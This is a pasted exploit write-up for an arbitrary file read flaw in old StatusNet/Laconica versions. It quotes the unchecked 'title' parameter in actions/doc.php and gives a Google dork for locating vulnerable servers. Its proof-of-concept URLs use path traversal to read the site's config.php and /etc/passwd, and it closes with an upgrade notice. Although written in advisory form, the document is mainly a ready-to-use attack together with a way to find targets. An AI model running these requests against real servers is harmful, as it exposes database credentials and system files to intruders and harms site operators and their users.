StatusNet/Laconica 0.7.4, 0.8.2, 0.9.0beta3 - Arbitrary File Reading


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 12:12 a.m.

FORMAT: Text only

SIZE: 2.0 kB

HITS: 27933

  1. +-------------------------------------------------------------------------------+
  2. + StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading +
  3. +-------------------------------------------------------------------------------+
  4. # Date:
  5. - 10/10/2013
  6. # Exploit Author:
  7. - spiderboy
  8. # Vendor Homepage:
  9. - http://status.net/
  10. # Software Links:
  11. - http://status.net/laconica-0.7.4.tar.gz
  12. - http://status.net/statusnet-0.8.2.tar.gz
  13. - http://status.net/statusnet-0.9.0beta3.tar.gz
  14. # Version:
  15. - Branch 0.7.X : <= 0.7.4
  16. - Branch 0.8.X : <= 0.8.2
  17. - Branch 0.9.X : <= 0.9.0beta3
  18. # Tested on:
  19. - Unix/Linux
  20. # Category:
  21. - Webapps
  22. # Platform:
  23. - php
  24. # Advisories :
  25. - http://status.net/wiki/Security_alert_0000002
  26. - http://osvdb.org/show/osvdb/95586
  27. # Google Dork:
  28. - "It runs the StatusNet microblogging software, version 0.8.2"
  29. # Vendor product description:
  30. - Free and Open Source social software
  31. # Vulnerable code:
  32. - actions/doc.php:
  33. --------------------------------------------------------------------
  34. function handle($args)
  35. {
  36. parent::handle($args);
  37. $this->title = $this->trimmed('title');
  38. $this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1]
  39. if (!file_exists($this->filename)) {
  40. $this->clientError(_('No such document.'));
  41. return;
  42. }
  43. $this->showPage();
  44. }
  45. --------------------------------------------------------------------
  46. [1] : No check on user-supplied parameter $this->title
  47. # Proof of concept:
  48. - http://[host]/index.php?action=doc&title=../config.php
  49. - http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd
  50. # Solution:
  51. - Upgrade to latest version : http://status.net/download

comments powered by Disqus